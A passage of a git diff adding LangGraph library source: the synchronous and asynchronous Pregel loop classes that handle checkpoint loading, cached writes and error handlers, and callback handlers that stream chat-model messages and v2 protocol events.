+                            if w[0] == INTERRUPT
+                            for v in (w[1] if isinstance(w[1], Sequence) else (w[1],))
+                        )
+                    }
+                ]
+                stream_modes = self.stream.modes if self.stream else []
+                if "updates" in stream_modes:
+                    self._emit("updates", lambda: iter(interrupts))
+                if "values" in stream_modes:
+                    current_values = read_channels(self.channels, self.output_keys)
+                    # self.output_keys is a sequence, stream chunk contains entire state and interrupts
+                    if isinstance(current_values, dict):
+                        current_values[INTERRUPT] = interrupts[0][INTERRUPT]
+                        self._emit("values", lambda: iter([current_values]))
+                    # self.output_keys is a string, stream chunk contains only interrupts
+                    else:
+                        self._emit("values", lambda: iter(interrupts))
+            elif writes[0][0] != ERROR:
+                self._emit(
+                    "updates",
+                    map_output_updates,
+                    self.output_keys,
+                    [(task, writes)],
+                    cached,
+                )
+            if not cached:
+                self._emit(
+                    "tasks",
+                    map_debug_task_results,
+                    (task, writes),
+                    self.stream_keys,
+                )
+
+
+class SyncPregelLoop(PregelLoop, AbstractContextManager):
+    def __init__(
+        self,
+        input: Any | None,
+        *,
+        stream: StreamProtocol | None,
+        config: RunnableConfig,
+        store: BaseStore | None,
+        cache: BaseCache | None,
+        checkpointer: BaseCheckpointSaver | None,
+        nodes: Mapping[str, PregelNode],
+        specs: Mapping[str, BaseChannel | ManagedValueSpec],
+        trigger_to_nodes: Mapping[str, Sequence[str]],
+        durability: Durability,
+        manager: None | AsyncParentRunManager | ParentRunManager = None,
+        interrupt_after: All | Sequence[str] = EMPTY_SEQ,
+        interrupt_before: All | Sequence[str] = EMPTY_SEQ,
+        input_keys: str | Sequence[str] = EMPTY_SEQ,
+        output_keys: str | Sequence[str] = EMPTY_SEQ,
+        stream_keys: str | Sequence[str] = EMPTY_SEQ,
+        migrate_checkpoint: Callable[[Checkpoint], None] | None = None,
+        retry_policy: Sequence[RetryPolicy] = (),
+        cache_policy: CachePolicy | None = None,
+        has_graph_lifecycle_callbacks: bool = False,
+    ) -> None:
+        super().__init__(
+            input,
+            stream=stream,
+            config=config,
+            checkpointer=checkpointer,
+            cache=cache,
+            store=store,
+            nodes=nodes,
+            specs=specs,
+            input_keys=input_keys,
+            output_keys=output_keys,
+            stream_keys=stream_keys,
+            interrupt_after=interrupt_after,
+            interrupt_before=interrupt_before,
+            manager=manager,
+            migrate_checkpoint=migrate_checkpoint,
+            trigger_to_nodes=trigger_to_nodes,
+            retry_policy=retry_policy,
+            cache_policy=cache_policy,
+            durability=durability,
+            has_graph_lifecycle_callbacks=has_graph_lifecycle_callbacks,
+        )
+        self.stack = ExitStack()
+        if checkpointer:
+            self.checkpointer_get_next_version = checkpointer.get_next_version
+            self.checkpointer_put_writes = checkpointer.put_writes
+            self.checkpointer_put_writes_accepts_task_path = (
+                signature(checkpointer.put_writes).parameters.get("task_path")
+                is not None
+            )
+        else:
+            self.checkpointer_get_next_version = increment
+            self._checkpointer_put_after_previous = None  # type: ignore[assignment]
+            self.checkpointer_put_writes = None
+            self.checkpointer_put_writes_accepts_task_path = False
+
+    def _checkpointer_put_after_previous(
+        self,
+        prev: concurrent.futures.Future | None,
+        config: RunnableConfig,
+        checkpoint: Checkpoint,
+        metadata: CheckpointMetadata,
+        new_versions: ChannelVersions,
+    ) -> RunnableConfig:
+        if self._delta_write_futs:
+            futs, self._delta_write_futs = self._delta_write_futs, []
+            concurrent.futures.wait(futs)
+        try:
+            if prev is not None:
+                prev.result()
+        finally:
+            cast(BaseCheckpointSaver, self.checkpointer).put(
+                config, checkpoint, metadata, new_versions
+            )
+
+    def match_cached_writes(self) -> Sequence[PregelExecutableTask]:
+        if self.cache is None:
+            return ()
+        matched: list[PregelExecutableTask] = []
+        if cached := {
+            (t.cache_key.ns, t.cache_key.key): t
+            for t in self.tasks.values()
+            if t.cache_key and not t.writes
+        }:
+            for key, values in self.cache.get(tuple(cached)).items():
+                task = cached[key]
+                task.writes.extend(values)
+                matched.append(task)
+        return matched
+
+    def accept_push(
+        self, task: PregelExecutableTask, write_idx: int, call: Call | None = None
+    ) -> PregelExecutableTask | None:
+        if pushed := super().accept_push(task, write_idx, call):
+            for task in self.match_cached_writes():
+                self.output_writes(task.id, task.writes, cached=True)
+        return pushed
+
+    def schedule_error_handler(
+        self, failed_task: PregelExecutableTask, error: BaseException
+    ) -> PregelExecutableTask | None:
+        handler_node = self.nodes[failed_task.name].error_handler_node
+        if not handler_node:
+            return None
+        # ensure error + ERROR_SOURCE_NODE writes are durable before handler runs
+        if self._error_handler_write_futs:
+            futs, self._error_handler_write_futs = self._error_handler_write_futs, []
+            concurrent.futures.wait(futs)
+        handler_task = prepare_node_error_handler_task(
+            failed_task,
+            handler_node_name=handler_node,
+            failed_error=error,
+            checkpoint=self.checkpoint,
+            pending_writes=self.checkpoint_pending_writes,
+            processes=self.nodes,
+            channels=self.channels,
+            managed=self.managed,
+            config=failed_task.config,
+            step=self.step,
+            stop=self.stop,
+            store=self.store,
+            checkpointer=self.checkpointer,
+            manager=self.manager,
+            retry_policy=self.retry_policy,
+            cache_policy=self.cache_policy,
+        )
+        if handler_task is None:
+            return None
+        self.tasks[handler_task.id] = handler_task
+        if not self.is_replaying:
+            self._reapply_writes_to_succeeded_nodes({handler_task.id: handler_task})
+        for task in self.match_cached_writes():
+            self.output_writes(task.id, task.writes, cached=True)
+        return handler_task
+
+    def put_writes(self, task_id: str, writes: WritesT) -> None:
+        """Put writes for a task, to be read by the next tick."""
+        super().put_writes(task_id, writes)
+        if not writes or self.cache is None or not hasattr(self, "tasks"):
+            return
+        task = self.tasks.get(task_id)
+        if task is None or task.cache_key is None:
+            return
+        self.submit(
+            self.cache.set,
+            {
+                (task.cache_key.ns, task.cache_key.key): (
+                    task.writes,
+                    task.cache_key.ttl,
+                )
+            },
+        )
+
+    # context manager
+
+    def __enter__(self) -> Self:
+        self._graph_lifecycle_events = deque()
+        if not self.checkpointer:
+            saved = None
+        elif self.checkpoint_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID):
+            # Explicit checkpoint_id requested — fetch that exact checkpoint.
+            # This covers both normal replay and subgraphs resolved via
+            # checkpoint_map during time-travel.
+            saved = self.checkpointer.get_tuple(self.checkpoint_config)
+        elif replay_state := self.config[CONF].get(CONFIG_KEY_REPLAY_STATE):
+            # Subgraph replay: the parent is replaying and passed us a
+            # replay_state with its checkpoint_id. Look up our checkpoint
+            # from the parent's checkpoint_map instead of fetching latest.
+            saved = replay_state.get_checkpoint(
+                self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, ""),
+                self.checkpointer,
+                self.checkpoint_config,
+            )
+            # Clear RESUMING so _first re-applies input instead of resuming.
+            # This recreates ephemeral routing channels so nodes trigger
+            # naturally via version comparison.
+            self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
+        else:
+            # Normal case: fetch the most recent checkpoint for this
+            # graph/thread. Returns None on first invocation.
+            saved = self.checkpointer.get_tuple(self.checkpoint_config)
+
+        # Capture before the synthetic-empty fallback below overwrites `saved`.
+        # `_put_exit_delta_writes` uses this on first run (no persisted parent)
+        # to lazy-create a stub instead of anchoring delta writes on a parent.
+        self._has_persisted_parent = saved is not None
+        if saved is None:
+            saved = CheckpointTuple(
+                self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
+            )
+        elif self._migrate_checkpoint is not None:
+            self._migrate_checkpoint(saved.checkpoint)
+        self.checkpoint_config = {
+            **self.checkpoint_config,
+            **saved.config,
+            CONF: {
+                CONFIG_KEY_CHECKPOINT_NS: "",
+                **self.checkpoint_config.get(CONF, {}),
+                **saved.config.get(CONF, {}),
+            },
+        }
+        self._initial_checkpoint_config = self.checkpoint_config
+        self.prev_checkpoint_config = saved.parent_config
+        self.checkpoint_id_saved = saved.checkpoint["id"]
+        self.checkpoint = saved.checkpoint
+        self.checkpoint_metadata = saved.metadata
+        self.checkpoint_pending_writes = (
+            [(str(tid), k, v) for tid, k, v in saved.pending_writes]
+            if saved.pending_writes is not None
+            else []
+        )
+        self._delta_write_futs = []
+        self._error_handler_write_futs = []
+        self._delta_channels_with_overwrite = set()
+        self._exit_delta_writes = (
+            [] if self.durability == "exit" and self.checkpointer is not None else None
+        )
+        self.submit = self.stack.enter_context(BackgroundExecutor(self.config))
+        self.channels, self.managed = channels_from_checkpoint(
+            self.specs,
+            self.checkpoint,
+            saver=self.checkpointer,
+            config=self.checkpoint_config,
+        )
+        self.stack.push(self._suppress_interrupt)
+        self.status = "input"
+        self.step = self.checkpoint_metadata["step"] + 1
+        self.stop = self.step + self.config["recursion_limit"] + 1
+        self.checkpoint_previous_versions = self.checkpoint["channel_versions"].copy()
+        self.updated_channels = self._first(
+            input_keys=self.input_keys,
+            updated_channels=set(self.checkpoint.get("updated_channels"))  # type: ignore[arg-type]
+            if self.checkpoint.get("updated_channels")
+            else None,
+        )
+
+        return self
+
+    def __exit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc_value: BaseException | None,
+        traceback: TracebackType | None,
+    ) -> bool | None:
+        # unwind stack
+        return self.stack.__exit__(exc_type, exc_value, traceback)
+
+
+class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
+    def __init__(
+        self,
+        input: Any | None,
+        *,
+        stream: StreamProtocol | None,
+        config: RunnableConfig,
+        store: BaseStore | None,
+        cache: BaseCache | None,
+        checkpointer: BaseCheckpointSaver | None,
+        nodes: Mapping[str, PregelNode],
+        specs: Mapping[str, BaseChannel | ManagedValueSpec],
+        trigger_to_nodes: Mapping[str, Sequence[str]],
+        durability: Durability,
+        interrupt_after: All | Sequence[str] = EMPTY_SEQ,
+        interrupt_before: All | Sequence[str] = EMPTY_SEQ,
+        manager: None | AsyncParentRunManager | ParentRunManager = None,
+        input_keys: str | Sequence[str] = EMPTY_SEQ,
+        output_keys: str | Sequence[str] = EMPTY_SEQ,
+        stream_keys: str | Sequence[str] = EMPTY_SEQ,
+        migrate_checkpoint: Callable[[Checkpoint], None] | None = None,
+        retry_policy: Sequence[RetryPolicy] = (),
+        cache_policy: CachePolicy | None = None,
+        has_graph_lifecycle_callbacks: bool = False,
+    ) -> None:
+        super().__init__(
+            input,
+            stream=stream,
+            config=config,
+            checkpointer=checkpointer,
+            cache=cache,
+            store=store,
+            nodes=nodes,
+            specs=specs,
+            input_keys=input_keys,
+            output_keys=output_keys,
+            stream_keys=stream_keys,
+            interrupt_after=interrupt_after,
+            interrupt_before=interrupt_before,
+            manager=manager,
+            migrate_checkpoint=migrate_checkpoint,
+            trigger_to_nodes=trigger_to_nodes,
+            retry_policy=retry_policy,
+            cache_policy=cache_policy,
+            durability=durability,
+            has_graph_lifecycle_callbacks=has_graph_lifecycle_callbacks,
+        )
+        self.stack = AsyncExitStack()
+        if checkpointer:
+            self.checkpointer_get_next_version = checkpointer.get_next_version
+            self.checkpointer_put_writes = checkpointer.aput_writes
+            self.checkpointer_put_writes_accepts_task_path = (
+                signature(checkpointer.aput_writes).parameters.get("task_path")
+                is not None
+            )
+        else:
+            self.checkpointer_get_next_version = increment
+            self._checkpointer_put_after_previous = None  # type: ignore[assignment]
+            self.checkpointer_put_writes = None
+            self.checkpointer_put_writes_accepts_task_path = False
+
+    async def _checkpointer_put_after_previous(
+        self,
+        prev: asyncio.Task | None,
+        config: RunnableConfig,
+        checkpoint: Checkpoint,
+        metadata: CheckpointMetadata,
+        new_versions: ChannelVersions,
+    ) -> RunnableConfig:
+        # Drain DeltaChannel write futures before committing the checkpoint so
+        # ancestor walks never see a checkpoint without its backing writes.
+        if self._delta_write_futs:
+            futs, self._delta_write_futs = self._delta_write_futs, []
+            await asyncio.gather(*futs)
+        try:
+            if prev is not None:
+                await prev
+        finally:
+            await cast(BaseCheckpointSaver, self.checkpointer).aput(
+                config, checkpoint, metadata, new_versions
+            )
+
+    async def amatch_cached_writes(self) -> Sequence[PregelExecutableTask]:
+        if self.cache is None:
+            return []
+        matched: list[PregelExecutableTask] = []
+        if cached := {
+            (t.cache_key.ns, t.cache_key.key): t
+            for t in self.tasks.values()
+            if t.cache_key and not t.writes
+        }:
+            for key, values in (await self.cache.aget(tuple(cached))).items():
+                task = cached[key]
+                task.writes.extend(values)
+                matched.append(task)
+        return matched
+
+    async def aaccept_push(
+        self, task: PregelExecutableTask, write_idx: int, call: Call | None = None
+    ) -> PregelExecutableTask | None:
+        if pushed := super().accept_push(task, write_idx, call):
+            for task in await self.amatch_cached_writes():
+                self.output_writes(task.id, task.writes, cached=True)
+        return pushed
+
+    async def aschedule_error_handler(
+        self, failed_task: PregelExecutableTask, error: BaseException
+    ) -> PregelExecutableTask | None:
+        handler_node = self.nodes[failed_task.name].error_handler_node
+        if not handler_node:
+            return None
+        # ensure error + ERROR_SOURCE_NODE writes are durable before handler runs
+        if self._error_handler_write_futs:
+            futs, self._error_handler_write_futs = self._error_handler_write_futs, []
+            await asyncio.gather(*futs)
+        handler_task = prepare_node_error_handler_task(
+            failed_task,
+            handler_node_name=handler_node,
+            failed_error=error,
+            checkpoint=self.checkpoint,
+            pending_writes=self.checkpoint_pending_writes,
+            processes=self.nodes,
+            channels=self.channels,
+            managed=self.managed,
+            config=failed_task.config,
+            step=self.step,
+            stop=self.stop,
+            store=self.store,
+            checkpointer=self.checkpointer,
+            manager=self.manager,
+            retry_policy=self.retry_policy,
+            cache_policy=self.cache_policy,
+        )
+        if handler_task is None:
+            return None
+        self.tasks[handler_task.id] = handler_task
+        if not self.is_replaying:
+            self._reapply_writes_to_succeeded_nodes({handler_task.id: handler_task})
+        for task in await self.amatch_cached_writes():
+            self.output_writes(task.id, task.writes, cached=True)
+        return handler_task
+
+    def put_writes(self, task_id: str, writes: WritesT) -> None:
+        """Put writes for a task, to be read by the next tick."""
+        super().put_writes(task_id, writes)
+        if not writes or self.cache is None or not hasattr(self, "tasks"):
+            return
+        task = self.tasks.get(task_id)
+        if task is None or task.cache_key is None:
+            return
+        if writes[0][0] in (INTERRUPT, ERROR):
+            # only cache successful tasks
+            return
+        self.submit(
+            self.cache.aset,
+            {
+                (task.cache_key.ns, task.cache_key.key): (
+                    task.writes,
+                    task.cache_key.ttl,
+                )
+            },
+        )
+
+    # context manager
+
+    async def __aenter__(self) -> Self:
+        self._graph_lifecycle_events = deque()
+        if not self.checkpointer:
+            saved = None
+        elif self.checkpoint_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID):
+            # Explicit checkpoint_id requested — fetch that exact checkpoint.
+            # This covers both normal replay and subgraphs resolved via
+            # checkpoint_map during time-travel.
+            saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
+        elif replay_state := self.config[CONF].get(CONFIG_KEY_REPLAY_STATE):
+            # Subgraph replay: the parent is replaying and passed us a
+            # replay_state with its checkpoint_id. Look up our checkpoint
+            # from the parent's checkpoint_map instead of fetching latest.
+            saved = await replay_state.aget_checkpoint(
+                self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, ""),
+                self.checkpointer,
+                self.checkpoint_config,
+            )
+            # Clear RESUMING so _first re-applies input instead of resuming.
+            # This recreates ephemeral routing channels so nodes trigger
+            # naturally via version comparison.
+            self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
+        else:
+            # Normal case: fetch the most recent checkpoint for this
+            # graph/thread. Returns None on first invocation.
+            saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
+
+        # Capture before the synthetic-empty fallback below overwrites `saved`.
+        # `_put_exit_delta_writes` uses this on first run (no persisted parent)
+        # to lazy-create a stub instead of anchoring delta writes on a parent.
+        self._has_persisted_parent = saved is not None
+        if saved is None:
+            saved = CheckpointTuple(
+                self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
+            )
+        elif self._migrate_checkpoint is not None:
+            self._migrate_checkpoint(saved.checkpoint)
+        self.checkpoint_config = {
+            **self.checkpoint_config,
+            **saved.config,
+            CONF: {
+                CONFIG_KEY_CHECKPOINT_NS: "",
+                **self.checkpoint_config.get(CONF, {}),
+                **saved.config.get(CONF, {}),
+            },
+        }
+        self._initial_checkpoint_config = self.checkpoint_config
+        self.prev_checkpoint_config = saved.parent_config
+        self.checkpoint_id_saved = saved.checkpoint["id"]
+        self.checkpoint = saved.checkpoint
+        self.checkpoint_metadata = saved.metadata
+        self.checkpoint_pending_writes = (
+            [(str(tid), k, v) for tid, k, v in saved.pending_writes]
+            if saved.pending_writes is not None
+            else []
+        )
+        self._delta_write_futs = []
+        self._error_handler_write_futs = []
+        self._delta_channels_with_overwrite = set()
+        self._exit_delta_writes = (
+            [] if self.durability == "exit" and self.checkpointer is not None else None
+        )
+        self.submit = await self.stack.enter_async_context(
+            AsyncBackgroundExecutor(self.config)
+        )
+        self.channels, self.managed = await achannels_from_checkpoint(
+            self.specs,
+            self.checkpoint,
+            saver=self.checkpointer,
+            config=self.checkpoint_config,
+        )
+        self.stack.push(self._suppress_interrupt)
+        self.status = "input"
+        self.step = self.checkpoint_metadata["step"] + 1
+        self.stop = self.step + self.config["recursion_limit"] + 1
+        self.checkpoint_previous_versions = self.checkpoint["channel_versions"].copy()
+        self.updated_channels = self._first(
+            input_keys=self.input_keys,
+            updated_channels=set(self.checkpoint.get("updated_channels"))  # type: ignore[arg-type]
+            if self.checkpoint.get("updated_channels")
+            else None,
+        )
+
+        return self
+
+    async def __aexit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc_value: BaseException | None,
+        traceback: TracebackType | None,
+    ) -> bool | None:
+        # unwind stack
+        exit_task = asyncio.create_task(
+            self.stack.__aexit__(exc_type, exc_value, traceback)
+        )
+        try:
+            return await exit_task
+        except asyncio.CancelledError as e:
+            # Bubble up the exit task upon cancellation to permit the API
+            # consumer to await it before e.g., reusing the DB connection.
+            e.args = (*e.args, exit_task)
+            raise
diff --git a/libs/langgraph/langgraph/pregel/_messages.py b/libs/langgraph/langgraph/pregel/_messages.py
new file mode 100644
index 0000000..2b61c83
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_messages.py
@@ -0,0 +1,461 @@
+from __future__ import annotations
+
+from collections.abc import AsyncIterator, Callable, Iterator, Sequence
+from dataclasses import fields, is_dataclass
+from typing import (
+    Any,
+    TypeVar,
+    cast,
+)
+from uuid import UUID, uuid4
+
+from langchain_core.callbacks import BaseCallbackHandler
+from langchain_core.messages import BaseMessage, ToolMessage
+from langchain_core.messages.utils import convert_to_messages
+from langchain_core.outputs import ChatGeneration, ChatGenerationChunk, LLMResult
+from pydantic import BaseModel
+
+from langgraph._internal._config import filter_to_user_tags
+from langgraph._internal._constants import NS_SEP
+from langgraph.constants import TAG_HIDDEN, TAG_NOSTREAM
+from langgraph.pregel.protocol import StreamChunk
+from langgraph.types import Command
+
+try:
+    from langchain_core.tracers._streaming import _StreamingCallbackHandler
+except ImportError:
+    _StreamingCallbackHandler = object  # type: ignore
+
+try:
+    from langchain_core.tracers._streaming import _V2StreamingCallbackHandler
+except ImportError:
+    _V2StreamingCallbackHandler = object  # type: ignore
+
+T = TypeVar("T")
+Meta = tuple[tuple[str, ...], dict[str, Any]]
+
+
+def _state_values(obj: Any) -> Sequence[Any]:
+    """Extract top-level field values from a state object (dict, BaseModel, or dataclass)."""
+    if isinstance(obj, dict):
+        return list(obj.values())
+    elif isinstance(obj, BaseModel):
+        return [getattr(obj, k) for k in type(obj).model_fields]
+    elif is_dataclass(obj) and not isinstance(obj, type):
+        return [getattr(obj, f.name) for f in fields(obj)]
+    return ()
+
+
+class StreamMessagesHandler(BaseCallbackHandler, _StreamingCallbackHandler):
+    """A callback handler that implements stream_mode=messages.
+
+    Collects messages from:
+    (1) chat model stream events; and
+    (2) node outputs.
+    """
+
+    run_inline = True
+    """We want this callback to run in the main thread to avoid order/locking issues."""
+
+    def __init__(
+        self,
+        stream: Callable[[StreamChunk], None],
+        subgraphs: bool,
+        *,
+        parent_ns: tuple[str, ...] | None = None,
+    ) -> None:
+        """Configure the handler to stream messages from LLMs and nodes.
+
+        Args:
+            stream: A callable that takes a StreamChunk and emits it.
+            subgraphs: Whether to emit messages from subgraphs.
+            parent_ns: The namespace where the handler was created.
+                We keep track of this namespace to allow calls to subgraphs that
+                were explicitly requested as a stream with `messages` mode
+                configured.
+
+        Example:
+            parent_ns is used to handle scenarios where the subgraph is explicitly
+            streamed with `stream_mode="messages"`.
+
+            ```python
+            def parent_graph_node():
+                # This node is in the parent graph.
+                async for event in some_subgraph(..., stream_mode="messages"):
+                    do something with event # <-- these events will be emitted
+                return ...
+
+            parent_graph.invoke(subgraphs=False)
+            ```
+        """
+        self.stream = stream
+        self.subgraphs = subgraphs
+        self.metadata: dict[UUID, Meta] = {}
+        self.seen: set[int | str] = set()
+        self.parent_ns = parent_ns
+
+    def _emit(self, meta: Meta, message: BaseMessage, *, dedupe: bool = False) -> None:
+        if dedupe and message.id in self.seen:
+            return
+        else:
+            if message.id is None:
+                message.id = str(uuid4())
+            self.seen.add(message.id)
+            self.stream((meta[0], "messages", (message, meta[1])))
+
+    def _find_and_emit_messages(self, meta: Meta, response: Any) -> None:
+        if isinstance(response, BaseMessage):
+            self._emit(meta, response, dedupe=True)
+        elif isinstance(response, Sequence):
+            for value in response:
+                if isinstance(value, BaseMessage):
+                    self._emit(meta, value, dedupe=True)
+        else:
+            for value in _state_values(response):
+                if isinstance(value, BaseMessage):
+                    self._emit(meta, value, dedupe=True)
+                elif isinstance(value, Sequence):
+                    for item in value:
+                        if isinstance(item, BaseMessage):
+                            self._emit(meta, item, dedupe=True)
+
+    def tap_output_aiter(
+        self, run_id: UUID, output: AsyncIterator[T]
+    ) -> AsyncIterator[T]:
+        return output
+
+    def tap_output_iter(self, run_id: UUID, output: Iterator[T]) -> Iterator[T]:
+        return output
+
+    def on_chat_model_start(
+        self,
+        serialized: dict[str, Any],
+        messages: list[list[BaseMessage]],
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        tags: list[str] | None = None,
+        metadata: dict[str, Any] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        if metadata and (not tags or (TAG_NOSTREAM not in tags)):
+            ns = tuple(cast(str, metadata["langgraph_checkpoint_ns"]).split(NS_SEP))[
+                :-1
+            ]
+            if not self.subgraphs and len(ns) > 0 and ns != self.parent_ns:
+                return
+            if (filtered_tags := filter_to_user_tags(tags)) is not None:
+                metadata["tags"] = filtered_tags
+            self.metadata[run_id] = (ns, metadata)
+
+    def on_llm_new_token(
+        self,
+        token: str,
+        *,
+        chunk: ChatGenerationChunk | None = None,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        tags: list[str] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        if not isinstance(chunk, ChatGenerationChunk):
+            return
+        if meta := self.metadata.get(run_id):
+            self._emit(meta, chunk.message)
+
+    def on_llm_end(
+        self,
+        response: LLMResult,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        if meta := self.metadata.get(run_id):
+            if response.generations and response.generations[0]:
+                gen = response.generations[0][0]
+                if isinstance(gen, ChatGeneration):
+                    self._emit(meta, gen.message, dedupe=True)
+        self.metadata.pop(run_id, None)
+
+    def on_llm_error(
+        self,
+        error: BaseException,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        self.metadata.pop(run_id, None)
+
+    def on_chain_start(
+        self,
+        serialized: dict[str, Any],
+        inputs: dict[str, Any],
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        tags: list[str] | None = None,
+        metadata: dict[str, Any] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        if (
+            metadata
+            and kwargs.get("name") == metadata.get("langgraph_node")
+            and (not tags or TAG_HIDDEN not in tags)
+        ):
+            ns = tuple(cast(str, metadata["langgraph_checkpoint_ns"]).split(NS_SEP))[
+                :-1
+            ]
+            if not self.subgraphs and len(ns) > 0:
+                return
+            self.metadata[run_id] = (ns, metadata)
+            for value in _state_values(inputs):
+                if isinstance(value, BaseMessage):
+                    if value.id is not None:
+                        self.seen.add(value.id)
+                elif isinstance(value, Sequence) and not isinstance(value, str):
+                    for item in value:
+                        if isinstance(item, BaseMessage):
+                            if item.id is not None:
+                                self.seen.add(item.id)
+
+    def on_chain_end(
+        self,
+        response: Any,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        if meta := self.metadata.pop(run_id, None):
+            # Handle Command node updates
+            if isinstance(response, Command):
+                self._find_and_emit_messages(meta, response.update)
+            # Handle list of Command updates
+            elif isinstance(response, Sequence) and any(
+                isinstance(value, Command) for value in response
+            ):
+                for value in response:
+                    if isinstance(value, Command):
+                        self._find_and_emit_messages(meta, value.update)
+                    else:
+                        self._find_and_emit_messages(meta, value)
+            # Handle basic updates / streaming
+            else:
+                self._find_and_emit_messages(meta, response)
+
+    def on_chain_error(
+        self,
+        error: BaseException,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        self.metadata.pop(run_id, None)
+
+
+class StreamMessagesHandlerV2(StreamMessagesHandler, _V2StreamingCallbackHandler):
+    """v2 variant of `StreamMessagesHandler`.
+
+    Declaring `_V2StreamingCallbackHandler` as a base flips
+    `BaseChatModel.invoke` to route through `_stream_chat_model_events`
+    (firing `on_stream_event`) instead of `_stream` (firing
+    `on_llm_new_token`). Inherits `on_stream_event` from the parent,
+    which forwards protocol events onto the messages stream channel.
+
+    Pregel attaches this class instead of the v1 handler only when
+    `StreamingHandler` opts in via the internal
+    `CONFIG_KEY_STREAM_MESSAGES_V2` config key; direct
+    `graph.stream(stream_mode="messages")` callers keep the v1
+    AIMessageChunk shape.
+    """
+
+    def on_llm_new_token(
+        self,
+        token: str,
+        *,
+        chunk: ChatGenerationChunk | None = None,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        tags: list[str] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        """Intentional no-op — v1 chunks are not used on v2-flagged runs.
+
+        The v2 marker already steers `invoke` to the event generator, so
+        `on_llm_new_token` should not fire under normal routing. This
+        override stays a pass-through (no call to `super()`) to make
+        the intent explicit and to guard against any caller (e.g. a
+        node that calls `model.stream()` directly, which still fires
+        the v1 callback) leaking AIMessageChunks onto a v2-flagged
+        messages stream.
+        """
+        # Intentionally empty: v2 handler does not forward v1 chunks.
+
+    def __init__(
+        self,
+        stream: Callable[[StreamChunk], None],
+        subgraphs: bool,
+        *,
+        parent_ns: tuple[str, ...] | None = None,
+    ) -> None:
+        super().__init__(stream, subgraphs, parent_ns=parent_ns)
+        self._streamed_run_ids: set[UUID] = set()
+
+    def _find_and_emit_messages(self, meta: Meta, response: Any) -> None:
+        """Like the v1 handler, but skip ToolMessage from node outputs.
+
+        Tool results belong on the tools channel / state in v3; v2-flagged streams
+        must not replay finalized ToolMessages as chat tokens (see MessagesTransformer).
+        Legacy v1-only `stream_mode="messages"` still emits ToolMessages (see subgraph
+        streaming tests).
+        """
+        if isinstance(response, BaseMessage) and not isinstance(response, ToolMessage):
+            self._emit(meta, response, dedupe=True)
+        elif isinstance(response, Sequence):
+            for value in response:
+                if isinstance(value, BaseMessage) and not isinstance(
+                    value, ToolMessage
+                ):
+                    self._emit(meta, value, dedupe=True)
+        else:
+            for value in _state_values(response):
+                if isinstance(value, BaseMessage) and not isinstance(
+                    value, ToolMessage
+                ):
+                    self._emit(meta, value, dedupe=True)
+                elif isinstance(value, Sequence):
+                    for item in value:
+                        if isinstance(item, BaseMessage) and not isinstance(
+                            item, ToolMessage
+                        ):
+                            self._emit(meta, item, dedupe=True)
+
+    def on_llm_end(
+        self,
+        response: LLMResult,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        if meta := self.metadata.get(run_id):
+            if response.generations and response.generations[0]:
+                gen = response.generations[0][0]
+                if isinstance(gen, ChatGeneration):
+                    if run_id in self._streamed_run_ids:
+                        if gen.message.id is None:
+                            gen.message.id = str(uuid4())
+                        self.seen.add(gen.message.id)
+                    else:
+                        self._emit(meta, gen.message, dedupe=True)
+        self._streamed_run_ids.discard(run_id)
+        self.metadata.pop(run_id, None)
+
+    def on_llm_error(
+        self,
+        error: BaseException,
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        self._streamed_run_ids.discard(run_id)
+        super().on_llm_error(
+            error,
+            run_id=run_id,
+            parent_run_id=parent_run_id,
+            **kwargs,
+        )
+
+    def on_stream_event(
+        self,
+        event: dict[str, Any],
+        *,
+        run_id: UUID,
+        parent_run_id: UUID | None = None,
+        tags: list[str] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        """Forward a protocol event from `stream_events(version="v3")` as a messages stream part.
+
+        Fires once per `MessagesData` event (`message-start`, per-block
+        `content-block-*`, `message-finish`). The transformer layer
+        correlates events back to a single `ChatModelStream` via
+        `metadata["run_id"]` — attached here so the v1
+        `stream_mode="messages"` output (which emits
+        `(AIMessageChunk, metadata)` via `on_llm_new_token`) keeps its
+        original metadata shape.
+
+        Lives on the v2 handler rather than the v1 base: content-block
+        events are a v2-only concept, and forwarding them only when the
+        v2 handler is attached keeps the message channel's shape
+        predictable for v1 callers.
+        """
+        if meta := self.metadata.get(run_id):
+            # Record message_id on message-start so on_chain_end's
+            # dedupe skips the finalized AIMessage the node returns
+            # (otherwise the messages projection double-counts: once
+            # from streaming, once from the chain output).
+            if event.get("event") == "message-start":
+                self._streamed_run_ids.add(run_id)
+                msg_id = event.get("message_id")
+                if msg_id:
+                    self.seen.add(msg_id)
+            v2_meta = {**meta[1], "run_id": str(run_id)}
+            self.stream((meta[0], "messages", (event, v2_meta)))
+
+
+# Known role values (OpenAI-style) and type values (LangChain serialisation)
